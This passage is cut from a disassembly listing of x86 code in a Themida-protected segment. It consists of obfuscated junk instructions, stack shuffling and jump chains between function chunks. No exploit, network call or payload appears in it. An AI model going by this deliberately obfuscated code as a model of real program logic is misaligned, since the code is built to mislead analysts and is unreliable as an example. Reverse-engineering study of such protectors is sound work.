sub al, bl
jmp loc_5A0100
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_5917A9: ; CODE XREF: sub_59FD45-6255j
xchg ebp, [esp+4+var_4]
pop esp
jmp loc_59D4ED
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_5917B2: ; CODE XREF: sub_59654E+8291j
push esi
jmp loc_59686D
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5917B8: ; CODE XREF: sub_59390B+1C65j
push 23055B3Fh
pop edx
and edx, 156B46BBh
jmp loc_5A35B9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5932F7
loc_5917C9: ; CODE XREF: sub_5932F7+7CEEj
pop ebx
sub esi, 0F39304ABh
push esi
pop ebp
mov esi, [esp-4+arg_0]
add esp, 4
shr ebp, 3
push ebx
jmp loc_59ED01
; END OF FUNCTION CHUNK FOR sub_5932F7
; =============== S U B R O U T I N E =======================================
sub_5917E1 proc near ; CODE XREF: sub_5971C0+4E57j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059C9C9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A3E51 SIZE 0000000E BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp loc_5A3E51
sub_5917E1 endp
; ---------------------------------------------------------------------------
loc_5917FC: ; CODE XREF: Themida_:0059BE27j
pop ebx
add esp, 4
push esi
mov esi, 296B730Bh
sub ecx, esi
pop esi
push esi
mov esi, 684B1220h
or esi, 4E896E9Eh
sub esi, 4E714B8Eh
xor esi, 3C72251Fh
add ecx, esi
pop esi
sub ecx, edi
jmp loc_5A0F02
; ---------------------------------------------------------------------------
loc_59182B: ; CODE XREF: Themida_:0059EB3Ej
add esp, 4
jmp loc_5A1D3C
; ---------------------------------------------------------------------------
loc_591836: ; CODE XREF: Themida_:005A1A53j
inc esi
neg esi
sub esi, 554D519Dh
sub edi, esi
jmp loc_5A4370
; ---------------------------------------------------------------------------
loc_591846: ; DATA XREF: Themida_:005908D9o
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_591854: ; CODE XREF: sub_594A8D+2E74j
add ebx, 54EA3E07h
add ebx, eax
push ebp
mov ebp, 0B3E7C2Ch
inc ebp
jmp loc_5A596B
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
loc_591868: ; CODE XREF: Themida_:005997B6j
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
pop ecx
add esp, 4
or dl, 35h
neg dl
jmp loc_5932FE
; ---------------------------------------------------------------------------
loc_591885: ; CODE XREF: Themida_:00592780j
mov edx, 4
push edx
sub dword ptr [esp], 4B9F56B8h
pop ebp
jmp loc_599233
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_591898: ; CODE XREF: sub_5A2FE9-404Bj
add esp, 4
add edx, ebx
sub edx, 51DF4E24h
pop ebx
xchg edx, [esp+14h+var_14]
pop esp
jmp loc_599148
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5918B0: ; CODE XREF: sub_59390B+1CDj
neg edx
and edx, 1E3A3558h
add edx, 0F1C5CFBCh
mov edi, edx
jmp loc_59C422
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5918C5: ; CODE XREF: Themida_:005928F1j
mov dl, al
jmp loc_59A402
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_5918CC: ; CODE XREF: sub_5964AF+9643j
pop ecx
neg edx
not edx
sub edx, 0D8C9B33Ch
sub eax, edx
pop edx
jmp loc_590B5F
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5918DF: ; CODE XREF: sub_59390B+2A85j
pop esp
push eax
mov eax, esp
add eax, 4
push ebx
jmp loc_5952A6
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5918EE: ; CODE XREF: Themida_:00596450j
mov ecx, 3EB30782h
add ebp, ecx
pop ecx
jmp loc_594B06
; ---------------------------------------------------------------------------
loc_5918FB: ; CODE XREF: Themida_:00594C6Ej
not ecx
add ecx, 1B9D73Ah
add ebx, ecx
pop ecx
sub eax, 34E868CAh
add eax, ebx
add eax, 34E868CAh
pop ebx
add eax, 2
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push 47Ch
mov [esp], ebx
mov ebx, esp
sub esp, 4
mov [esp], eax
mov eax, 4
add ebx, 0AE803C1h
jmp loc_597813
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591947: ; CODE XREF: sub_59390B-35j
xor ebx, ebp
pop ebp
add ebx, 524942E8h
inc ebx
or ebx, 430732B5h
push ecx
jmp loc_597642
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4F4F
loc_59195D: ; CODE XREF: sub_5A4F4F-129F0j
or edx, eax
shl edx, 1
push 15BFh
mov [esp+4+var_4], ebx
push 0FFFFFFFFh
mov ebx, [esp+8+var_8]
add esp, 4
sub [edi+24h], ebx
push [esp+4+var_4]
jmp loc_5986CC
; END OF FUNCTION CHUNK FOR sub_5A4F4F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591982: ; CODE XREF: sub_59390B+7F7Fj
pop edi
jmp loc_5A176B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_591988: ; CODE XREF: Themida_:00594BDBj
pop ecx
jmp loc_597047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59198E: ; CODE XREF: sub_59FCCB-3BE6j
pop ecx
push cx
push ebx
push edx
mov dh, 8
jmp loc_596586
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
jmp loc_5A3F8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_5919A9: ; CODE XREF: sub_599AE1+7A9Aj
or eax, ecx
pop ecx
neg eax
push ebx
mov ebx, 70F8424Bh
shl ebx, 3
jmp loc_5A13DF
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5919BC: ; CODE XREF: sub_59CAFB-3BD0j
mov edi, esp
add edi, 4
jmp loc_59B355
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A113A
loc_5919C9: ; CODE XREF: sub_5A113A-DD10j
push esp
jmp loc_59A160
; END OF FUNCTION CHUNK FOR sub_5A113A
; ---------------------------------------------------------------------------
loc_5919CF: ; DATA XREF: Themida_:005907D8o
push dword ptr [esp]
pop eax
push 4144h
mov [esp], ebx
push esp
push dword ptr [esp]
pop ebx
push edx
mov edx, esp
push eax
jmp loc_5A5327
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59C8A4
loc_5919E9: ; CODE XREF: sub_59C8A4-6671j
pop ebp
sub ebp, ebx
jmp loc_59864F
; END OF FUNCTION CHUNK FOR sub_59C8A4
; ---------------------------------------------------------------------------
loc_5919F1: ; CODE XREF: Themida_:0059A8D9j
mov [esp], ebp
jmp loc_59AFEA
; ---------------------------------------------------------------------------
loc_5919F9: ; CODE XREF: Themida_:005A5BD5j
add esi, eax
jmp loc_59621C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_591A00: ; CODE XREF: sub_5936EC+58D4j
push esi
mov esi, esp
jmp loc_59E1CD
; END OF FUNCTION CHUNK FOR sub_5936EC
; =============== S U B R O U T I N E =======================================
sub_591A08 proc near ; CODE XREF: sub_59390B+74F4j
push ebp
mov ebp, 31D03121h
jmp loc_593CDE
sub_591A08 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591A13: ; CODE XREF: sub_59390B+5DE4j
mov edx, 33AE77DDh
sub ebp, edx
pop edx
sub esp, 4
mov [esp-8+arg_0], ecx
jmp loc_59D369
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_591A29: ; CODE XREF: Themida_:00596581j
push 799h
jmp loc_59CF01
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B8C7
loc_591A33: ; CODE XREF: sub_59B8C7+8225j
mov [esp+0], edx
jmp loc_593F21
; END OF FUNCTION CHUNK FOR sub_59B8C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591A3B: ; CODE XREF: sub_59390B+F57Aj
mov [esp-8+arg_0], ebx
mov bl, 3Dh
add bl, 1
jmp loc_59F633
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_591A48: ; CODE XREF: Themida_:005945D5j
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5998D8
; ---------------------------------------------------------------------------
loc_591A5C: ; CODE XREF: Themida_:0059D8C6j
add ecx, eax
mov eax, [esp]
add esp, 4
jmp loc_592375
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_591A6C: ; CODE XREF: sub_59E918-DBBCj
push eax
push esp
pop eax
push ebx
mov ebx, 1ED8477Ah
push ecx
push eax
mov eax, 0E127B88Ah
mov ecx, eax
pop eax
add ebx, ecx
jmp loc_590B25
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_591A86: ; CODE XREF: Themida_:00598D30j
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
push 5DA0h
mov [esp], ebp
mov ebp, 256F2916h
shl ebp, 5
add ebp, 0B84B0B4Fh
shr ebp, 4
push edi
mov edi, 25C4116Ch
jmp loc_597EAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591ABF: ; CODE XREF: sub_59390B+6BFDj
mov [esp-8+arg_0], esi
push 242642Ch
pop esi
push ebx
mov ebx, 0EA309AEh
sub ebx, 0F3AAE00Ah
and esi, ebx
pop ebx
and esi, 1AF222A4h
jmp loc_59B330
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_591AE2: ; CODE XREF: Themida_:005A5241j
push esp
mov edi, [esp]
add esp, 4
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], eax
mov eax, 65440DBCh
jmp loc_5A4510
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591B0F: ; CODE XREF: sub_59390B-954j
mov al, 0F6h
sub bl, al
mov ax, word ptr [esp-8+arg_0]
jmp loc_591F52
; ---------------------------------------------------------------------------
loc_591B1C: ; CODE XREF: sub_59390B+F0B6j
pop edi
shl ecx, 7
neg ecx
xor ecx, 4309A732h
sub edi, ecx
mov ecx, [esp-0Ch+arg_4]
jmp loc_59C403
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_591B32: ; CODE XREF: Themida_:0059D977j
add dl, ah
mov eax, [esp]
add esp, 4
xor dl, 1Fh
jmp loc_594562
; ---------------------------------------------------------------------------
loc_591B42: ; CODE XREF: Themida_:0059D8E5j
add eax, 4
add eax, 4
jmp loc_59E9EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591B4F: ; CODE XREF: sub_59390B+E2B9j
pop ebx
xchg edi, [esp-10h+arg_8]
pop esp
mov [esp-14h+arg_C], esi
mov esi, 0F9B197Bh
shl esi, 1
jmp loc_5A02AA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_591B63: ; CODE XREF: sub_5A17BF-B3D4j
push ecx
mov ecx, 0FFFFFFFFh
sub esi, 3F9568C9h
add esi, 4E907A38h
sub esi, ecx
jmp loc_5934C8
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A905
loc_591B7C: ; CODE XREF: sub_59A905+9j
push ecx
neg [esp+4+var_4]
pop ecx
shr ecx, 2
shl ecx, 4
push edi
push esi
push 25E63050h
pop esi
neg esi
sub esi, 0A2B5D722h
mov edi, esi
jmp loc_597DF0
; END OF FUNCTION CHUNK FOR sub_59A905
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591B9E: ; CODE XREF: sub_59390B+60D6j
sub edi, 51EF6E66h
jmp loc_5924B4
; ---------------------------------------------------------------------------
loc_591BA9: ; CODE XREF: sub_59390B+85Cj
mov [esp-14h+arg_C], edx
push eax
pushf
jmp loc_5A1DBE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B8D
loc_591BB3: ; CODE XREF: sub_590B8D+1793j
mov ebp, esp
jmp loc_59AA15
; END OF FUNCTION CHUNK FOR sub_590B8D
; ---------------------------------------------------------------------------
loc_591BBA: ; CODE XREF: Themida_:00595E23j
push 70555262h
jmp loc_595AAC
; ---------------------------------------------------------------------------
loc_591BC4: ; CODE XREF: Themida_:005A36C5j
and ebx, 130A54A6h
inc ebx
sub ebx, 100A501Fh
add edx, ebx
pop ebx
push ecx
mov ecx, 4
sub edx, 69A6BA3h
jmp loc_5A203B
; ---------------------------------------------------------------------------
loc_591BE5: ; CODE XREF: Themida_:005A0FA3j
push edx
push ecx
jmp loc_59F185
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_591BEC: ; CODE XREF: sub_594A8D+108F9j
push eax
mov eax, 0FFFFFFFFh
sub esi, eax
jmp loc_59A757
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2D8D
loc_591BF9: ; CODE XREF: sub_5A2D8D-7F5Aj
mov edi, 44AD59C9h
jmp loc_59C271
; END OF FUNCTION CHUNK FOR sub_5A2D8D
; ---------------------------------------------------------------------------
loc_591C03: ; CODE XREF: Themida_:00594F82j
mov esi, ebx
pop ebx
sub eax, esi
pop esi
pop edx
jmp loc_5A4D68
; ---------------------------------------------------------------------------
loc_591C0F: ; CODE XREF: Themida_:005A03AAj
mov [esp], edi
jmp loc_5A282C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3EFB
loc_591C17: ; CODE XREF: sub_5A3EFB+7j
push 5DC015BBh
pop ecx
neg ecx
push ebx
mov ebx, 1AA33989h
jmp loc_5990FE
; END OF FUNCTION CHUNK FOR sub_5A3EFB
; ---------------------------------------------------------------------------
loc_591C2A: ; CODE XREF: Themida_:00592DEAj
dec ebp
neg ebp
xor ebp, 246131EBh
sub ebp, 0EB1BF2B1h
sub ecx, ebp
pop ebp
add edx, ecx
pop ecx
jmp loc_598057
; ---------------------------------------------------------------------------
loc_591C44: ; CODE XREF: Themida_:005A149Cj
push dword ptr [esp+4]
jmp loc_590F76
; ---------------------------------------------------------------------------
loc_591C4D: ; CODE XREF: Themida_:0059B550j
add esp, 4
and eax, edx
push dword ptr [esp]
pop edx
sub esp, 4
jmp loc_5A548A
; ---------------------------------------------------------------------------
loc_591C61: ; CODE XREF: Themida_:0059F5FBj
sub edi, edx
pop edx
jmp loc_59A1C5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591C69: ; CODE XREF: sub_59390B+7AAEj
xor edi, [esp-0Ch+arg_4]
mov esp, [esp-0Ch+arg_4]
push 5F75h
jmp loc_590C38
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_591C79: ; CODE XREF: Themida_:0059A2D6j
or ebx, 4AE100B1h
sub esp, 4
mov [esp], eax
jmp loc_599BAF
; ---------------------------------------------------------------------------
loc_591C8D: ; CODE XREF: Themida_:00596DB4j
pop edi
push ebx
mov ebx, 7C3238AFh
neg ebx
push esi
mov esi, 7C3238B1h
add ebx, esi
pop esi
add ebp, ebx
jmp loc_595008
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591CA6: ; CODE XREF: sub_59390B+2F3Cj
add edx, 7EF756B1h
add edx, ebx
jmp loc_59C825
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59333E
loc_591CB3: ; CODE XREF: sub_59333E+1D61j
pop edx
push ecx
pop ebx
jmp loc_5A4772
; END OF FUNCTION CHUNK FOR sub_59333E
; ---------------------------------------------------------------------------
loc_591CBB: ; CODE XREF: Themida_:0059DE75j
pop esi
sub esp, 4
mov [esp], ecx
jmp loc_592DB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591CCA: ; CODE XREF: sub_59390B-2226j
mov edx, [esp-0Ch+arg_4]
add esp, 4
sub bl, al
add bl, 0A0h
add bl, 3Eh
push 2CDDh
mov [esp-0Ch+arg_4], edx
jmp sub_59D9FE
; ---------------------------------------------------------------------------
loc_591CE8: ; CODE XREF: sub_59390B+BD18j
mov esp, [esp-0Ch+arg_4]
or [esp-0Ch+arg_4], eax
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_591CF4: ; CODE XREF: sub_5A0BFE-7559j
xor ebp, esi
pop esi
jmp loc_5A4A3D
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; ---------------------------------------------------------------------------
loc_591CFC: ; CODE XREF: Themida_:0059E39Bj
sub ecx, 9233F084h
sub esi, ecx
pop ecx
sub esi, 6BEA0F25h
sub esi, 225D5ED7h
add esi, eax
jmp loc_59A50D
; ---------------------------------------------------------------------------
loc_591D18: ; CODE XREF: Themida_:005A1657j
sub esp, 4
mov [esp], edx
mov edx, 31F471D4h
sub ecx, edx
pop edx
pop edi
push ebx
mov ebx, 2
jmp loc_5A211E
; =============== S U B R O U T I N E =======================================
sub_591D35 proc near ; CODE XREF: sub_590BDF+8E89j
; FUNCTION CHUNK AT 0059497C SIZE 0000000B BYTES
push ebp
mov ebp, 4
add edx, ebp
pop ebp
xchg edx, [esp+0]
pop esp
add esi, 4
jmp loc_59497C
sub_591D35 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592CEE
loc_591D4D: ; CODE XREF: sub_592CEE+D331j
pop edx
mov ebx, [esp-4+arg_0]
add esp, 4
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_592CEE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5969DC
loc_591D59: ; CODE XREF: sub_5969DC+480Aj
mov esi, esp
push edi
mov edi, 4CB34896h
jmp loc_59D17B
; END OF FUNCTION CHUNK FOR sub_5969DC
; ---------------------------------------------------------------------------
loc_591D66: ; CODE XREF: Themida_:00596EE6j
mov ecx, edx
pop edx
add eax, 4E555A3Eh
add eax, ecx
sub eax, 4E555A3Eh
jmp loc_59CFDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F4E7
loc_591D7A: ; CODE XREF: sub_59F4E7-D662j
push 4
pop edx
push edx
mov edx, 2B8E2545h
sub ecx, edx
pop edx
add ecx, edx
add ecx, 2B8E2545h
pop edx
push edx
jmp loc_5A3D94
; END OF FUNCTION CHUNK FOR sub_59F4E7
; ---------------------------------------------------------------------------
loc_591D98: ; CODE XREF: Themida_:00599EFDj
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
push 5045h
jmp loc_593887
; ---------------------------------------------------------------------------
loc_591DAC: ; CODE XREF: Themida_:00591E31j
xor edx, [esp]
pop esp
movzx cx, al
push 29DEh
jmp loc_592CD0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595941
loc_591DBE: ; CODE XREF: sub_595941+2567j
pop ecx
add ebx, ecx
pop ecx
jmp loc_59DEC8
; END OF FUNCTION CHUNK FOR sub_595941
; ---------------------------------------------------------------------------
loc_591DC7: ; CODE XREF: Themida_:0059D3DBj
pop edi
sub ebx, 4
jmp loc_59B58D
; ---------------------------------------------------------------------------
loc_591DD0: ; CODE XREF: Themida_:005A5B54j
add ebp, ebx
pop ebx
mov edi, ebp
pop ebp
jmp loc_595D6C
; ---------------------------------------------------------------------------
loc_591DDB: ; CODE XREF: Themida_:005A3E17j
sub esp, 2
mov [esp], si
pop cx
mov si, [esp]
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 2
jmp loc_5A0574
; ---------------------------------------------------------------------------
loc_591DFC: ; CODE XREF: Themida_:0059A620j
not edi
inc edi
push edx
mov edx, 59A14268h
xchg edi, edx
not edi
xor edx, edi
jmp loc_5A4FF4
; ---------------------------------------------------------------------------
loc_591E10: ; CODE XREF: Themida_:005A166Cj
xor ebx, 11A70E19h
not ebx
jmp loc_5A36C4
; ---------------------------------------------------------------------------
loc_591E1D: ; CODE XREF: Themida_:00597529j
push 5FBFh
mov [esp], edx
jmp loc_5A1FC4
; ---------------------------------------------------------------------------
loc_591E2A: ; CODE XREF: Themida_:0059E2A2j
pop esi
xor edx, [esp]
xor [esp], edx
jmp loc_591DAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3F6E
loc_591E36: ; CODE XREF: sub_5A3F6E-241Fj
xchg edi, [esp+0]
pop esp
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_5A3F6E
; ---------------------------------------------------------------------------
loc_591E3F: ; CODE XREF: Themida_:005A011Bj
shr bl, 5
sub bl, 32h
sub bl, 5Ah
neg bl
add bl, 0CEh
add al, bl
jmp loc_59A990
; ---------------------------------------------------------------------------
loc_591E54: ; CODE XREF: Themida_:005A0597j
push edx
push edi
mov edi, 241A79CFh
jmp loc_595E33
; ---------------------------------------------------------------------------
push 31E3h
mov [esp], esi
mov esi, 5D2935AFh
sub esp, 4
jmp loc_5971D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591E75: ; CODE XREF: sub_59390B+4C76j
mov ecx, 6304575Bh
shl ecx, 1
jmp loc_59A712
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F4E7
loc_591E81: ; CODE XREF: sub_59F4E7-69B1j
pop esp
mov [esp-4+arg_0], edx
jmp loc_591D7A
; END OF FUNCTION CHUNK FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591E8A: ; CODE XREF: sub_59390B+A46Bj
add esp, 4
push edi
mov edi, 3D1671E0h
jmp loc_593E0D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59EA40
loc_591E98: ; CODE XREF: sub_59EA40+3667j
mov edx, [esp+4+var_4]
add esp, 4
push esi
mov esi, 2A9417B8h
and esi, 2B6A68AAh
inc esi
jmp loc_59A591
; END OF FUNCTION CHUNK FOR sub_59EA40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591EB0: ; CODE XREF: sub_59390B+7579j
mov [esp-8+arg_0], ecx
jmp loc_5A1387
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_591EB8: ; CODE XREF: Themida_:0059E6D2j
sub eax, 1
or eax, 6E9D01CBh
shr eax, 2
xor eax, 0FFB192Bh
inc eax
sub eax, 0C4C67D55h
add esi, eax
pop eax
sub esi, 5934455Bh
pop edi
push ebx
mov ebx, 4
add esi, ebx
pop ebx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push dword ptr [esp]
mov eax, [esp]
sub esp, 4
jmp loc_59CE4F
; ---------------------------------------------------------------------------
loc_591EFB: ; CODE XREF: Themida_:0059FDAFj
mov eax, 4
add ebx, eax
pop eax
push 1879h
jmp loc_5A345B
; =============== S U B R O U T I N E =======================================
sub_591F0D proc near ; CODE XREF: sub_59AB43-A063j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059B761 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059BD3D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F7D3 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 005A2A5A SIZE 00000037 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, 9AB6556h
jmp loc_59B761
sub_591F0D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591F20: ; CODE XREF: sub_59390B+106DEj
shl edx, 6
add edx, 1
push 5BB1h
mov [esp+0], edi
push 2A304F13h
mov edi, [esp+0]
jmp loc_5A5426
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_591F3B: ; CODE XREF: sub_5A4CDD-EE43j
xor ebx, esi
push 4FE7h
mov [esp+4+var_4], eax
jmp loc_592F45
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
loc_591F4A: ; CODE XREF: Themida_:00597F8Fj
xor eax, [esp]
jmp loc_59462C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591F52: ; CODE XREF: sub_59390B-1DF4j
add esp, 2
sub esp, 4
mov [esp-8+arg_0], ecx
mov ecx, 166A13E3h
jmp loc_5928CE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_591F68: ; CODE XREF: sub_599AE1+2A3Bj
or edi, 7B96024Eh
sub edi, 34B3CC0Fh
sub esi, 5A8F11CFh
add esi, edi
jmp loc_598CF8
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591F81: ; CODE XREF: sub_59390B+4A5j
add esp, 4
jmp loc_5A1E4C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_591F8C: ; CODE XREF: Themida_:00592C9Cj
push ebx
mov bh, 8Fh
not bh
inc bh
and bh, 20h
neg bh
push eax
push ebx
mov bl, 0AFh
mov ah, bl
pop ebx
add bh, ah
pop eax
xor bh, 0F7h
jmp loc_590EFF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591FAA: ; CODE XREF: sub_59390B+DBF5j
push [esp-0Ch+arg_4]
jmp loc_59F444
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591745
loc_591FB2: ; CODE XREF: sub_591745+CE1Dj
and eax, edx
mov edx, [esp+8+var_8]
jmp loc_5A0D16
; END OF FUNCTION CHUNK FOR sub_591745
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F294
loc_591FBC: ; CODE XREF: sub_59F294+63j
xchg ecx, [esp+4+var_4]
pop esp
jmp loc_59E076
; END OF FUNCTION CHUNK FOR sub_59F294
; =============== S U B R O U T I N E =======================================
sub_591FC5 proc near ; CODE XREF: sub_59390B+102j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00590E9C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592196 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00592CCA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005933E0 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00593630 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005963A1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596E98 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596F59 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00596FF7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005983C3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00598563 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059A9DF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059B571 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B720 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B8A0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059C301 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059C766 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C9A1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059D075 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059D720 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059DA0E SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0059E066 SIZE 00000010 BYTES
